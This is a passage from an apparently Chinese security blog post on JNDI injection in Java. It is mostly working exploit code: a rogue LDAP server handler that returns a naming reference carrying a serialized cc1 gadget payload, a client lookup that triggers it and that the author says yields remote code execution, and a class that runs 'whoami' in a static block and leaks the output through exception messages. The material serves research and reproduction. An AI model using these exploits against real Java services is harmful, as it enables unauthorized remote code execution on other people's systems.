public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());

e.addAttribute("javaSerializedData",new cc1().generate_payload());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

需要安装一个依赖:

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

这里我设置的端口是1389,运行服务端之后再运行客户端,客户端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Properties;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
Properties env = new Properties();
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/a");
// System.out.println(hello.sayhello("test"));
}
}

当运行完这两个之后,即可完成RCE,这种反序列化方式有个缺点,对方的classpath中需要存在可利用的类。

image-20200624065629209
image-20200624065629209

Local Reference Bypass

这个同样依赖环境,有一定的限制,所以没去复现,用到的时候再跟吧。

参考:

1.如何绕过高版本JDK的限制进行JNDI注入利用
2.攻击Java中的JNDI、RMI、LDAP(二)

JNDI回显研究(报错)

这里的回显是基于报错来回显,如果服务端会返回报错信息,那么这里就能回显成功。参考JAVA RMI 反序列化流程原理分析

稍微改了一下他的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import java.io.*;

public class insClassName {
static{
try
{
do_exec("whoami");
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;

while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}

bufin.close();

byte[] content = out.toByteArray();

return content;
}

public static void do_exec(String cmd) throws Exception {

final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();

if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}

}

}

当我们执行Client时即可收到报错回显:

image-20200624071236820.png
image-20200624071236820.png

一张图表示JNDI注入与JDK版本限制的关系

image-20200624035603212
image-20200624035603212

源:JNDI注入原理及利用

总结

测试的时候很奇怪,我发现似乎JEP290并没有对Registry攻击Client进行防御,所以第一种lookup with gadget的方式,我测试到13都可以成功。(留疑)